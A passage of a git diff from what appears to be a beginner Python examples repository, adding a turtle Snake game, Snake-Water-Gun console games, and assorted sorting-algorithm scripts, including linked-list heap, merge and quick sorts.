print("Total Time:", round(endtime - starttime, 2), "secs") + break diff --git a/Snake Game Using Turtle/README.md b/Snake Game Using Turtle/README.md new file mode 100644 index 00000000000..2d717a602e5 --- /dev/null +++ b/Snake Game Using Turtle/README.md @@ -0,0 +1,26 @@ +# My Interactive Snake Game + +Hey there! I’m [Prashant Gohel](https://github.com/prashantgohel321) + +I took the classic Snake game and gave it a modern, interactive twist — with a sleek UI, smooth gameplay, and fun new controls. This project was all about making a nostalgic game feel fresh again! + +![alt text]() + +## What I Added + +**Fresh UI:** Clean, responsive, and almost full-screen — with a neat header for score and controls. + +**Interactive Controls**: Play, Pause, Resume, Restart — all on-screen (plus spacebar support!). + +**High Score System**: Tracks and saves your best score in highscore.txt — challenge yourself! + +**Smooth Game Flow**: Smart state system for seamless transitions between screens. + +---- + +
+ +
+💡 Built with Python
+Feel free to fork, star ⭐, or suggest improvements — I’d love to hear your thoughts! +
\ No newline at end of file diff --git a/Snake Game Using Turtle/colors.py b/Snake Game Using Turtle/colors.py new file mode 100644 index 00000000000..05fac02e5a2 --- /dev/null +++ b/Snake Game Using Turtle/colors.py @@ -0,0 +1,28 @@ +""" +This file contains the color palette for the game, now including +colors for the new interactive buttons. +""" +# A fresh and vibrant color theme +# --> food.py +FOOD_COLOR = "#C70039" # A bright, contrasting red + +# --> main.py +BG_COLOR = '#F0F8FF' # AliceBlue, a very light and clean background + +# --> scoreboard.py +GAME_OVER_COLOR = '#D21312' # Strong red for game over message +SCORE_COLOR = '#27374D' # Dark blue for high-contrast text +MESSAGE_COLOR = '#27374D' # Consistent dark blue for other messages + +# --> snake.py +FIRST_SEGMENT_COLOR = '#006400' # DarkGreen for the snake's head +BODY_COLOR = '#2E8B57' # SeaGreen for the snake's body + +# --> wall.py +WALL_COLOR = '#27374D' # Dark blue for a solid, visible border + +# --> UI Controls (Buttons) +BUTTON_BG_COLOR = "#526D82" +BUTTON_TEXT_COLOR = "#F0F8FF" +BUTTON_BORDER_COLOR = "#27374D" + diff --git a/Snake Game Using Turtle/demo (1).gif b/Snake Game Using Turtle/demo (1).gif new file mode 100644 index 00000000000..be7cff2f1f6 Binary files /dev/null and b/Snake Game Using Turtle/demo (1).gif differ diff --git a/Snake Game Using Turtle/food.py b/Snake Game Using Turtle/food.py new file mode 100644 index 00000000000..59dcd5eb740 --- /dev/null +++ b/Snake Game Using Turtle/food.py @@ -0,0 +1,27 @@ +""" +This file handles the creation of food. Its placement is now controlled +by the main game logic to ensure it spawns within the correct boundaries. +""" + +from turtle import Turtle +import random +import colors + +class Food(Turtle): + """ This class generates food for the snake to eat. """ + def __init__(self): + super().__init__() + self.shape("circle") + self.penup() + self.shapesize(stretch_len=0.7, stretch_wid=0.7) + self.color(colors.FOOD_COLOR) + self.speed("fastest") + + def refresh(self, left_wall, right_wall, bottom_wall, top_wall): + """Moves the food to a new random position within the provided game boundaries.""" + # Add a margin so food doesn't spawn exactly on the edge + margin = 20 + random_x = random.randint(int(left_wall) + margin, int(right_wall) - margin) + random_y = random.randint(int(bottom_wall) + margin, int(top_wall) - margin) + self.goto(random_x, random_y) + diff --git a/Snake Game Using Turtle/highscore.txt b/Snake Game Using Turtle/highscore.txt new file mode 100644 index 00000000000..62f9457511f --- /dev/null +++ b/Snake Game Using Turtle/highscore.txt @@ -0,0 +1 @@ +6 \ No newline at end of file diff --git a/Snake Game Using Turtle/main.py b/Snake Game Using Turtle/main.py new file mode 100644 index 00000000000..9b874f1a3df --- /dev/null +++ b/Snake Game Using Turtle/main.py @@ -0,0 +1,195 @@ +""" +This is the main file that runs the Snake game. +It handles screen setup, dynamic boundaries, UI controls (buttons), +game state management, and the main game loop. +""" +from turtle import Screen, Turtle +from snake import Snake +from food import Food +from scoreboard import Scoreboard +from wall import Wall +import colors + +# --- CONSTANTS --- +MOVE_DELAY_MS = 100 # Game speed in milliseconds + +# --- GAME STATE --- +game_state = "start" # Possible states: "start", "playing", "paused", "game_over" + +# --- SCREEN SETUP --- +screen = Screen() +screen.setup(width=0.9, height=0.9) # Set up a nearly fullscreen window +screen.bgcolor(colors.BG_COLOR) +screen.title("Interactive Snake Game") +screen.tracer(0) + +# --- DYNAMIC GAME BOUNDARIES --- +WIDTH = screen.window_width() +HEIGHT = screen.window_height() +# These boundaries are calculated to be inside the visible wall with a safe margin +LEFT_WALL = -WIDTH / 2 + 25 +RIGHT_WALL = WIDTH / 2 - 25 +TOP_WALL = HEIGHT / 2 - 85 +BOTTOM_WALL = -HEIGHT / 2 + 25 + +# --- GAME OBJECTS --- +wall = Wall() +snake = Snake() +food = Food() +# Initial food placement is now handled after boundaries are calculated +food.refresh(LEFT_WALL, RIGHT_WALL, BOTTOM_WALL, TOP_WALL) +scoreboard = Scoreboard() + +# --- UI CONTROLS (BUTTONS) --- +buttons = {} # Dictionary to hold button turtles and their properties + +def create_button(name, x, y, width=120, height=40): + """Creates a turtle-based button with a label.""" + if name in buttons and buttons[name]['turtle'] is not None: + buttons[name]['turtle'].clear() + + button_turtle = Turtle() + button_turtle.hideturtle() + button_turtle.penup() + button_turtle.speed("fastest") + + button_turtle.goto(x - width/2, y - height/2) + button_turtle.color(colors.BUTTON_BORDER_COLOR, colors.BUTTON_BG_COLOR) + button_turtle.begin_fill() + for _ in range(2): + button_turtle.forward(width) + button_turtle.left(90) + button_turtle.forward(height) + button_turtle.left(90) + button_turtle.end_fill() + + button_turtle.goto(x, y - 12) + button_turtle.color(colors.BUTTON_TEXT_COLOR) + button_turtle.write(name, align="center", font=("Lucida Sans", 14, "bold")) + + buttons[name] = {'turtle': button_turtle, 'x': x, 'y': y, 'w': width, 'h': height, 'visible': True} + +def hide_button(name): + """Hides a button by clearing its turtle.""" + if name in buttons and buttons[name]['visible']: + buttons[name]['turtle'].clear() + buttons[name]['visible'] = False + +def manage_buttons(): + """Shows or hides buttons based on the current game state.""" + all_buttons = ["Play", "Pause", "Resume", "Restart"] + for btn_name in all_buttons: + hide_button(btn_name) + + btn_x = WIDTH / 2 - 100 + btn_y = HEIGHT / 2 - 45 + + if game_state == "start": + create_button("Play", 0, -100) + elif game_state == "playing": + create_button("Pause", btn_x, btn_y) + elif game_state == "paused": + create_button("Resume", btn_x, btn_y) + elif game_state == "game_over": + create_button("Restart", btn_x, btn_y) + +# --- GAME LOGIC & STATE TRANSITIONS --- +def start_game(): + global game_state + if game_state == "start": + game_state = "playing" + scoreboard.update_scoreboard() + +def toggle_pause_resume(): + global game_state + if game_state == "playing": + game_state = "paused" + scoreboard.display_pause() + elif game_state == "paused": + game_state = "playing" + scoreboard.update_scoreboard() + +def restart_game(): + global game_state + if game_state == "game_over": + game_state = "playing" + snake.reset() + food.refresh(LEFT_WALL, RIGHT_WALL, BOTTOM_WALL, TOP_WALL) + scoreboard.reset() + +def is_click_on_button(name, x, y): + """Checks if a click (x, y) is within the bounds of a visible button.""" + if name in buttons and buttons[name]['visible']: + btn = buttons[name] + return (btn['x'] - btn['w']/2 < x < btn['x'] + btn['w']/2 and + btn['y'] - btn['h']/2 < y < btn['y'] + btn['h']/2) + return False + +def handle_click(x, y): + """Main click handler to delegate actions based on button clicks.""" + if game_state == "start" and is_click_on_button("Play", x, y): + start_game() + elif game_state == "playing" and is_click_on_button("Pause", x, y): + toggle_pause_resume() + elif game_state == "paused" and is_click_on_button("Resume", x, y): + toggle_pause_resume() + elif game_state == "game_over" and is_click_on_button("Restart", x, y): + restart_game() + +# --- KEYBOARD HANDLERS --- +def handle_snake_up(): + if game_state in ["start", "playing"]: + start_game() + snake.up() +def handle_snake_down(): + if game_state in ["start", "playing"]: + start_game() + snake.down() +def handle_snake_left(): + if game_state in ["start", "playing"]: + start_game() + snake.left() +def handle_snake_right(): + if game_state in ["start", "playing"]: + start_game() + snake.right() + +# --- KEY & MOUSE BINDINGS --- +screen.listen() +screen.onkey(handle_snake_up, "Up") +screen.onkey(handle_snake_down, "Down") +screen.onkey(handle_snake_left, "Left") +screen.onkey(handle_snake_right, "Right") +screen.onkey(toggle_pause_resume, "space") +screen.onkey(restart_game, "r") +screen.onkey(restart_game, "R") +screen.onclick(handle_click) + +# --- MAIN GAME LOOP --- +def game_loop(): + global game_state + if game_state == "playing": + snake.move() + # Collision with food + if snake.head.distance(food) < 20: + food.refresh(LEFT_WALL, RIGHT_WALL, BOTTOM_WALL, TOP_WALL) + snake.extend() + scoreboard.increase_score() + # Collision with wall + if not (LEFT_WALL < snake.head.xcor() < RIGHT_WALL and BOTTOM_WALL < snake.head.ycor() < TOP_WALL): + game_state = "game_over" + scoreboard.game_over() + # Collision with tail + for segment in snake.segments[1:]: + if snake.head.distance(segment) < 10: + game_state = "game_over" + scoreboard.game_over() + manage_buttons() + screen.update() + screen.ontimer(game_loop, MOVE_DELAY_MS) + +# --- INITIALIZE GAME --- +scoreboard.display_start_message() +game_loop() +screen.exitonclick() + diff --git a/Snake Game Using Turtle/scoreboard.py b/Snake Game Using Turtle/scoreboard.py new file mode 100644 index 00000000000..4ca9265071c --- /dev/null +++ b/Snake Game Using Turtle/scoreboard.py @@ -0,0 +1,80 @@ +""" +This file manages the display of the score, high score, and game messages. +It now positions the score dynamically in the top-left corner. +""" +from turtle import Turtle, Screen +import colors + +# Constants for styling and alignment +ALIGNMENT = "left" +SCORE_FONT = ("Lucida Sans", 20, "bold") +MESSAGE_FONT = ("Courier", 40, "bold") +INSTRUCTION_FONT = ("Lucida Sans", 16, "normal") + +class Scoreboard(Turtle): + """ This class maintains the scoreboard, high score, and game messages. """ + def __init__(self): + super().__init__() + self.screen = Screen() # Get access to the screen object + self.score = 0 + self.high_score = self.load_high_score() + self.penup() + self.hideturtle() + self.update_scoreboard() + + def load_high_score(self): + """Loads high score from highscore.txt. Returns 0 if not found.""" + try: + with open("highscore.txt", mode="r") as file: + return int(file.read()) + except (FileNotFoundError, ValueError): + return 0 + + def update_scoreboard(self): + """Clears and rewrites the score and high score in the top-left corner.""" + self.clear() + self.color(colors.SCORE_COLOR) + # Dynamically calculate position to be well-placed in the header + x_pos = -self.screen.window_width() / 2 + 30 + y_pos = self.screen.window_height() / 2 - 60 + self.goto(x_pos, y_pos) + self.write(f"Score: {self.score} | High Score: {self.high_score}", align=ALIGNMENT, font=SCORE_FONT) + + def increase_score(self): + """Increases score and updates the display.""" + self.score += 1 + self.update_scoreboard() + + def reset(self): + """Checks for new high score, saves it, and resets the score.""" + if self.score > self.high_score: + self.high_score = self.score + with open("highscore.txt", mode="w") as file: + file.write(str(self.high_score)) + self.score = 0 + self.update_scoreboard() + + def game_over(self): + """Displays the Game Over message and instructions.""" + self.goto(0, 40) + self.color(colors.GAME_OVER_COLOR) + self.write("GAME OVER", align="center", font=MESSAGE_FONT) + self.goto(0, -40) + self.write("Click 'Restart' or Press 'R'", align="center", font=INSTRUCTION_FONT) + + def display_pause(self): + """Displays the PAUSED message.""" + self.goto(0, 40) + self.color(colors.MESSAGE_COLOR) + self.write("PAUSED", align="center", font=MESSAGE_FONT) + self.goto(0, -40) + self.write("Click 'Resume' or Press 'Space'", align="center", font=INSTRUCTION_FONT) + + def display_start_message(self): + """Displays the welcome message and starting instructions.""" + self.goto(0, 40) + self.color(colors.MESSAGE_COLOR) + self.write("SNAKE GAME", align="center", font=MESSAGE_FONT) + self.goto(0, -40) + self.write("Click 'Play' or an Arrow Key to Start", align="center", font=INSTRUCTION_FONT) + diff --git a/Snake Game Using Turtle/screenshots b/Snake Game Using Turtle/screenshots new file mode 100644 index 00000000000..d3f5a12faa9 --- /dev/null +++ b/Snake Game Using Turtle/screenshots @@ -0,0 +1 @@ + diff --git a/Snake Game Using Turtle/snake.py b/Snake Game Using Turtle/snake.py new file mode 100644 index 00000000000..e9fb153c317 --- /dev/null +++ b/Snake Game Using Turtle/snake.py @@ -0,0 +1,73 @@ +""" +This file is responsible for creating the snake and managing its movement, +extension, and reset functionality. +""" +from turtle import Turtle +import colors + +STARTING_POSITIONS = [(0, 0), (-20, 0), (-40, 0)] +MOVE_DISTANCE = 20 +UP, DOWN, LEFT, RIGHT = 90, 270, 180, 0 + +class Snake: + """ This class creates a snake body and contains methods for movement and extension. """ + def __init__(self): + self.segments = [] + self.create_snake() + self.head = self.segments[0] + + def create_snake(self): + """ Creates the initial snake body. """ + for position in STARTING_POSITIONS: + self.add_segment(position) + self.segments[0].color(colors.FIRST_SEGMENT_COLOR) + + def add_segment(self, position): + """ Adds a new segment to the snake. """ + new_segment = Turtle(shape="square") + new_segment.penup() + new_segment.goto(position) + new_segment.color(colors.BODY_COLOR) + self.segments.append(new_segment) + + def extend(self): + """ Adds a new segment to the snake's tail. """ + self.add_segment(self.segments[-1].position()) + self.segments[0].color(colors.FIRST_SEGMENT_COLOR) + + def move(self): + """ Moves the snake forward by moving each segment to the position of the one in front.""" + for i in range(len(self.segments) - 1, 0, -1): + x = self.segments[i - 1].xcor() + y = self.segments[i - 1].ycor() + self.segments[i].goto(x, y) + self.head.forward(MOVE_DISTANCE) + + def reset(self): + """Hides the old snake and creates a new one for restarting the game.""" + for segment in self.segments: + segment.hideturtle() + self.segments.clear() + self.create_snake() + self.head = self.segments[0] + + def up(self): + """Turns the snake's head upwards, preventing it from reversing.""" + if self.head.heading() != DOWN: + self.head.setheading(UP) + + def down(self): + """Turns the snake's head downwards, preventing it from reversing.""" + if self.head.heading() != UP: + self.head.setheading(DOWN) + + def left(self): + """Turns the snake's head to the left, preventing it from reversing.""" + if self.head.heading() != RIGHT: + self.head.setheading(LEFT) + + def right(self): + """Turns the snake's head to the right, preventing it from reversing.""" + if self.head.heading() != LEFT: + self.head.setheading(RIGHT) + diff --git a/Snake Game Using Turtle/wall.py b/Snake Game Using Turtle/wall.py new file mode 100644 index 00000000000..dc47848961b --- /dev/null +++ b/Snake Game Using Turtle/wall.py @@ -0,0 +1,46 @@ +"""This file creates a responsive boundary wall that adapts to the game window size.""" + +from turtle import Turtle, Screen +import colors + +class Wall: + """ This class creates a wall around the game screen that adjusts to its dimensions. """ + def __init__(self): + self.screen = Screen() + self.create_wall() + + def create_wall(self): + """Draws a responsive game border and a header area for the scoreboard and controls.""" + width = self.screen.window_width() + height = self.screen.window_height() + + # Calculate coordinates for the border based on screen size + top = height / 2 + bottom = -height / 2 + left = -width / 2 + right = width / 2 + + wall = Turtle() + wall.hideturtle() + wall.speed("fastest") + wall.color(colors.WALL_COLOR) + wall.penup() + + # Draw the main rectangular border + wall.goto(left + 10, top - 10) + wall.pendown() + wall.pensize(10) + wall.goto(right - 10, top - 10) + wall.goto(right - 10, bottom + 10) + wall.goto(left + 10, bottom + 10) + wall.goto(left + 10, top - 10) + + # Draw a line to create a separate header section for the score and buttons + wall.penup() + wall.goto(left + 10, top - 70) + wall.pendown() + wall.pensize(5) + wall.goto(right - 10, top - 70) + + self.screen.update() + diff --git a/Snake-Water-Gun-Game.py b/Snake-Water-Gun-Game.py new file mode 100644 index 00000000000..3bec7bc458b --- /dev/null +++ b/Snake-Water-Gun-Game.py @@ -0,0 +1,174 @@ +""" +This is a snake water gun game similar to rock paper scissor +In this game : +if computer chooses snake and user chooses water, the snake will drink water and computer wins. +If computer chooses gun and user chooses water, the gun gets drown into water and user wins. +And so on for other cases +""" + +# you can use this code also, see this code is very short in compare to your code +# code starts here +""" +# Snake || Water || Gun __ Game +import random +times = 10 # times to play game +comp_choice = ["s","w","g"] # output choice for computer +user_point = 0 # user point is initially marked 0 +comp_point = 0 # computer point is initially marked 0 +while times >= 1: + comp_rand = random.choice(comp_choice) # output computer will give + # + # print(comp_rand) # checking if the code is working or not + print(f"ROUND LEFT = {times}") +# checking if the input is entered correct or not + try: + user_choice = input("Enter the input in lowercase ex. \n (snake- s) (water- w) (gun- w)\n:- ") # user choice, the user will input + except Exception as e: + print(e) +# if input doen't match this will run + if user_choice != 's' and user_choice != 'w' and user_choice != 'g': + print("Invalid input, try again\n") + continue +# checking the input and calculating score + if comp_rand == 's': + if user_choice == 'w': + comp_point += 1 + elif user_choice == 'g': + user_point += 1 + + elif comp_rand == 'w': + if user_choice == 'g': + comp_point += 1 + elif user_choice == 's': + user_point += 1 + + elif comp_rand == 'g': + if user_choice == 's': + comp_point += 1 + elif user_choice == 'w': + user_point += 1 + + times -=1 # reducing the number of rounds after each match +if user_point>comp_point: # if user wins + print(f"WOOUUH! You have win \nYour_point = {user_point}\nComputer_point = {comp_point}") +elif comp_point>user_point: # if computer wins + print(f"WE RESPECT YOUR HARD WORK, BUT YOU LOSE AND YOU ARE A LOSER NOW! \nYour_point = {user_point}\nComputer_point = {comp_point}") +elif comp_point==user_point: # if match draw + print(f"MATCH DRAW\nYour_point = {user_point}\nComputer_point = {comp_point}") +else: # just checked + print("can't calculate score") +exit = input("PRESS ENTER TO EXIT") +""" # code ends here +import random + +# import time + +choices = {"S": "Snake", "W": "Water", "G": "Gun"} + +x = 0 +comp_point = 0 +user_point = 0 +match_draw = 0 + +print("Welcome to the Snake-Water-Gun Game\n") +print("I am Mr. Computer, We will play this game 10 times") +print("Whoever wins more matches will be the winner\n") + +while x < 10: + print(f"Game No. {x + 1}") + for key, value in choices.items(): + print(f"Choose {key} for {value}") + + comp_rand = random.choice(list(choices.keys())).lower() + user_choice = input("\n----->").lower() + print("Mr. Computer's choice is : " + comp_rand) + + # you can use this code to minimize your writing time for the code + """ + if comp_rand == 's': + if user_choice == 'w': + print("\n-------Mr. Computer won this round--------") + comp_point += 1 + elif user_choice == 'g': + print("\n-------You won this round-------") + user_point += 1 + else: + match_draw +=1 + + elif comp_rand == 'w': + if user_choice == 'g': + print("\n-------Mr. Computer won this round--------") + comp_point += 1 + elif user_choice == 's': + print("\n-------You won this round-------") + user_point += 1 + else: + match_draw +=1 + + elif comp_rand == 'g': + if user_choice == 's': + print("\n-------Mr. Computer won this round--------") + comp_point += 1 + elif user_choice == 'w': + print("\n-------You won this round-------") + user_point += 1 + else: + match_draw +=1 + + """ + + if comp_rand == "s": + if user_choice == "w": + print("\n-------Mr. Computer won this round--------") + comp_point += 1 + x += 1 + elif user_choice == "g": + print("\n-------You won this round-------") + user_point += 1 + x += 1 + else: + print("\n-------Match draw-------") + match_draw += 1 + x += 1 + + elif comp_rand == "w": + if user_choice == "g": + print("\n-------Mr. Computer won this round--------") + comp_point += 1 + x += 1 + elif user_choice == "s": + print("\n-------You won this round-------") + user_point += 1 + x += 1 + else: + print("\n-------Match draw-------") + match_draw += 1 + x += 1 + + elif comp_rand == "g": + if user_choice == "s": + print("\n-------Mr. Computer won this round--------") + comp_point += 1 + x += 1 + elif user_choice == "w": + print("\n-------You won this round-------") + user_point += 1 + x += 1 + else: + print("\n-------Match draw-------") + match_draw += 1 + x += 1 + +print("Here are final stats of the 10 matches : ") +print(f"Mr. Computer won : {comp_point} matches") +print(f"You won : {user_point} matches") +print(f"Matches Drawn : {match_draw}") + +if comp_point > user_point: + print("\n-------Mr. Computer won-------") + +elif comp_point < user_point: + print("\n-----------You won-----------") + +else: + print("\n----------Match Draw----------") diff --git a/Snake_water_gun/README.md b/Snake_water_gun/README.md new file mode 100644 index 00000000000..c789b95aeca --- /dev/null +++ b/Snake_water_gun/README.md @@ -0,0 +1,2 @@ +# Snake_water_gun + Snake Water Gun game diff --git a/Snake_water_gun/main.py b/Snake_water_gun/main.py new file mode 100644 index 00000000000..3928079b997 --- /dev/null +++ b/Snake_water_gun/main.py @@ -0,0 +1,102 @@ +# This is an edited version +# Made the code much more easier to read +# Used better naming for variables +# There were few inconsistencies in the outputs of the first if/else/if ladder \ +# inside the while loop. That is solved. +import random +import time +from os import system + + +class bcolors: + HEADERS = "\033[95m" + OKBLUE = "\033[94m" + OKGREEN = "\033[93m" + WARNING = "\033[92m" + FAIL = "\033[91m" + ENDC = "\033[0m" + BOLD = "\033[1m" + UNDERLINE = "\033[4m" + + +run = True +li = ["s", "w", "g"] + +while True: + system("clear") + b = input( + bcolors.OKBLUE + + bcolors.BOLD + + "Welcome to the game 'Snake-Water-Gun'.\nWanna play? Type Y or N: " + + bcolors.ENDC + ).capitalize() + + if b == "N": + run = False + print("Ok bubyeee! See you later") + break + elif b == "Y" or b == "y": + print( + "There will be 10 matches, and the one who wins more matches will win. Let's start." + ) + break + else: + continue + +i = 0 +score = 0 + +while run and i < 10: + comp_choice = random.choice(li) + user_choice = input("Type s for snake, w for water or g for gun: ").lower() + + if user_choice == comp_choice: + print(bcolors.HEADERS + "Game draws. Play again" + bcolors.ENDC) + + elif user_choice == "s" and comp_choice == "g": + print(bcolors.FAIL + "It's Snake v/s Gun You lose!" + bcolors.ENDC) + + elif user_choice == "s" and comp_choice == "w": + print(bcolors.OKGREEN + "It's Snake v/s Water. You won" + bcolors.ENDC) + score += 1 + + elif user_choice == "w" and comp_choice == "s": + print(bcolors.FAIL + "It's Water v/s Snake You lose!" + bcolors.ENDC) + + elif user_choice == "w" and comp_choice == "g": + print(bcolors.OKGREEN + "It's Water v/s Gun. You won" + bcolors.ENDC) + score += 1 + + elif user_choice == "g" and comp_choice == "w": + print(bcolors.FAIL + "It's Gun v/s Water You lose!" + bcolors.ENDC) + + elif user_choice == "g" and comp_choice == "s": + print(bcolors.OKGREEN + "It's Gun v/s Snake. You won" + bcolors.ENDC) + score += 1 + + else: + print("Wrong input") + continue + + i += 1 + print(f"{10 - i} matches left") + +if run == True: + print(f"Your score is {score} and the final result is...") + time.sleep(3) + if score > 5: + print( + bcolors.OKGREEN + + bcolors.BOLD + + "Woooh!!!!!!! Congratulations you won" + + bcolors.ENDC + ) + elif score == 5: + print("Game draws!!!!!!!") + elif score < 5: + print( + bcolors.FAIL + + bcolors.BOLD + + "You lose!!!. Better luck next time" + + bcolors.ENDC + ) diff --git a/Sorting Algorithims/heapsort_linkedlist.py b/Sorting Algorithims/heapsort_linkedlist.py new file mode 100644 index 00000000000..9f535d20ade --- /dev/null +++ b/Sorting Algorithims/heapsort_linkedlist.py @@ -0,0 +1,84 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class LinkedList: + def __init__(self): + self.head = None + + def push(self, data): + new_node = Node(data) + new_node.next = self.head + self.head = new_node + + def print_list(self): + current = self.head + while current: + print(current.data, end=" -> ") + current = current.next + print("None") + + def heapify(self, n, i): + largest = i + left = 2 * i + 1 + right = 2 * i + 2 + + current = self.head + for _ in range(i): + current = current.next + + if left < n and current.data < current.next.data: + largest = left + + if right < n and current.data < current.next.data: + largest = right + + if largest != i: + self.swap(i, largest) + self.heapify(n, largest) + + def swap(self, i, j): + current_i = self.head + current_j = self.head + + for _ in range(i): + current_i = current_i.next + + for _ in range(j): + current_j = current_j.next + + current_i.data, current_j.data = current_j.data, current_i.data + + def heap_sort(self): + n = 0 + current = self.head + while current: + n += 1 + current = current.next + + for i in range(n // 2 - 1, -1, -1): + self.heapify(n, i) + + for i in range(n - 1, 0, -1): + self.swap(0, i) + self.heapify(i, 0) + + +# Example usage: +linked_list = LinkedList() +linked_list.push(12) +linked_list.push(11) +linked_list.push(13) +linked_list.push(5) +linked_list.push(6) +linked_list.push(7) + +print("Original Linked List:") +linked_list.print_list() + +linked_list.heap_sort() + +print("Sorted Linked List:") +linked_list.print_list() diff --git a/Sorting Algorithims/mergesort_linkedlist.py b/Sorting Algorithims/mergesort_linkedlist.py new file mode 100644 index 00000000000..4e833dc2e29 --- /dev/null +++ b/Sorting Algorithims/mergesort_linkedlist.py @@ -0,0 +1,84 @@ +from __future__ import annotations + + +class Node: + def __init__(self, data: int) -> None: + self.data = data + self.next = None + + +class LinkedList: + def __init__(self): + self.head = None + + def insert(self, new_data: int) -> None: + new_node = Node(new_data) + new_node.next = self.head + self.head = new_node + + def printLL(self) -> None: + temp = self.head + if temp == None: + return "Linked List is empty" + while temp.next: + print(temp.data, "->", end="") + temp = temp.next + print(temp.data) + return + + +# Merge two sorted linked lists +def merge(left, right): + if not left: + return right + if not right: + return left + + if left.data < right.data: + result = left + result.next = merge(left.next, right) + else: + result = right + result.next = merge(left, right.next) + + return result + + +# Merge sort for linked list +def merge_sort(head): + if not head or not head.next: + return head + + # Find the middle of the list + slow = head + fast = head.next + while fast and fast.next: + slow = slow.next + fast = fast.next.next + + left = head + right = slow.next + slow.next = None + + left = merge_sort(left) + right = merge_sort(right) + + return merge(left, right) + + +if __name__ == "__main__": + ll = LinkedList() + print( + "Enter the space-separated values of numbers to be inserted in the linked list prompted below:" + ) + arr = list(map(int, input().split())) + for num in arr: + ll.insert(num) + + print("Linked list before sorting:") + ll.printLL() + + ll.head = merge_sort(ll.head) + + print("Linked list after sorting:") + ll.printLL() diff --git a/Sorting Algorithims/quicksort_linkedlist.py b/Sorting Algorithims/quicksort_linkedlist.py new file mode 100644 index 00000000000..70804343a98 --- /dev/null +++ b/Sorting Algorithims/quicksort_linkedlist.py @@ -0,0 +1,80 @@ +""" +Given a linked list with head pointer, +sort the linked list using quicksort technique without using any extra space +Time complexity: O(NlogN), Space complexity: O(1) +""" + +from __future__ import annotations + + +class Node: + def __init__(self, data: int) -> None: + self.data = data + self.next = None + + +class LinkedList: + def __init__(self): + self.head = None + + # method to insert nodes at the start of linkedlist + def insert(self, new_data: int) -> None: + new_node = Node(new_data) + new_node.next = self.head + self.head = new_node + + # method to print the linkedlist + def printLL(self) -> None: + temp = self.head + if temp == None: + return "Linked List is empty" + while temp.next: + print(temp.data, "->", end="") + temp = temp.next + print(temp.data) + return + + +# Partition algorithm with pivot as first element + + +def partition(start, end): + if start == None or start.next == None: + return start + prev, curr = start, start.next + pivot = prev.data + while curr != end: + if curr.data < pivot: + prev = prev.next + temp = prev.data + prev.data = curr.data + curr.data = temp + curr = curr.next + temp = prev.data + prev.data = start.data + start.data = temp + return prev + + +# recursive quicksort for function calls +def quicksort_LL(start, end): + if start != end: + pos = partition(start, end) + quicksort_LL(start, pos) + quicksort_LL(pos.next, end) + return + + +if __name__ == "__main__": + ll = LinkedList() + print( + "Enter the space seperated values of numbers to be inserted in linkedlist prompted below:" + ) + arr = list(map(int, input().split())) + for num in arr: + ll.insert(num) + print("Linkedlist before sorting:") + ll.printLL() + quicksort_LL(ll.head, None) + print("Linkedlist after sorting: ") + ll.printLL() diff --git a/Sorting Algorithms/Binary_Insertion_Sort.py b/Sorting Algorithms/Binary_Insertion_Sort.py new file mode 100644 index 00000000000..8c9fc09205f --- /dev/null +++ b/Sorting Algorithms/Binary_Insertion_Sort.py @@ -0,0 +1,26 @@ +def Binary_Search(Test_arr, low, high, k): + if high >= low: + Mid = (low + high) // 2 + if Test_arr[Mid] < k: + return Binary_Search(Test_arr, Mid + 1, high, k) + elif Test_arr[Mid] > k: + return Binary_Search(Test_arr, low, Mid - 1, k) + else: + return Mid + else: + return low + + +def Insertion_Sort(Test_arr): + for i in range(1, len(Test_arr)): + val = Test_arr[i] + j = Binary_Search(Test_arr[:i], 0, len(Test_arr[:i]) - 1, val) + Test_arr.pop(i) + Test_arr.insert(j, val) + return Test_arr + + +if __name__ == "__main__": + Test_list = input("Enter the list of Numbers: ").split() + Test_list = [int(i) for i in Test_list] + print(f"Binary Insertion Sort: {Insertion_Sort(Test_list)}") diff --git a/Sorting Algorithms/Bubble_Sorting_Prog.py b/Sorting Algorithms/Bubble_Sorting_Prog.py new file mode 100644 index 00000000000..ddb8f949e42 --- /dev/null +++ b/Sorting Algorithms/Bubble_Sorting_Prog.py @@ -0,0 +1,13 @@ +def bubblesort(list): + # Swap the elements to arrange in order + for iter_num in range(len(list) - 1, 0, -1): + for idx in range(iter_num): + if list[idx] > list[idx + 1]: + temp = list[idx] + list[idx] = list[idx + 1] + list[idx + 1] = temp + + +list = [19, 2, 31, 45, 6, 11, 121, 27] +bubblesort(list) +print(list) diff --git a/Sorting Algorithms/Bubble_sort.py b/Sorting Algorithms/Bubble_sort.py new file mode 100644 index 00000000000..258c3641f00 --- /dev/null +++ b/Sorting Algorithms/Bubble_sort.py @@ -0,0 +1,19 @@ +def bubble_sort(Lists): + for i in range(len(Lists)): + for j in range(len(Lists) - 1): + # We check whether the adjecent number is greater or not + if Lists[j] > Lists[j + 1]: + Lists[j], Lists[j + 1] = Lists[j + 1], Lists[j] + + +# Lets the user enter values of an array and verify by himself/herself +array = [] +array_length = int( + input("Enter the number of elements of array or enter the length of array") +) +for i in range(array_length): + value = int(input("Enter the value in the array")) + array.append(value) + +bubble_sort(array) +print(array) diff --git a/Sorting Algorithms/Count sort.py b/Sorting Algorithms/Count sort.py new file mode 100644 index 00000000000..6b689c226cd --- /dev/null +++ b/Sorting Algorithms/Count sort.py @@ -0,0 +1,16 @@ +def counting_sort(array1, max_val): + m = max_val + 1 + count = [0] * m + + for a in array1: + # count occurences + count[a] += 1 + i = 0 + for a in range(m): + for c in range(count[a]): + array1[i] = a + i += 1 + return array1 + + +print(counting_sort([1, 2, 7, 3, 2, 1, 4, 2, 3, 2, 1], 7)) diff --git a/Sorting Algorithms/Counting Sort.py b/Sorting Algorithms/Counting Sort.py new file mode 100644 index 00000000000..d4b790f6d03 --- /dev/null +++ b/Sorting Algorithms/Counting Sort.py @@ -0,0 +1,37 @@ +# Python program for counting sort + + +def countingSort(array): + size = len(array) + output = [0] * size + + # Initialize count array + count = [0] * 10 + + # Store the count of each elements in count array + for i in range(0, size): + count[array[i]] += 1 + + # Store the cummulative count + for i in range(1, 10): + count[i] += count[i - 1] + + # Find the index of each element of the original array in count array + # place the elements in output array + i = size - 1 + while i >= 0: + output[count[array[i]] - 1] = array[i] + count[array[i]] -= 1 + i -= 1 + + # Copy the sorted elements into original array + for i in range(0, size): + array[i] = output[i] + + +data = [4, 2, 2, 8, 3, 3, 1] +countingSort(data) +print("Sorted Array in Ascending Order: ") +print(data) + +# This code is contributed by mohd-mehraj. diff --git a/Sorting Algorithms/Counting-sort.py b/Sorting Algorithms/Counting-sort.py new file mode 100644 index 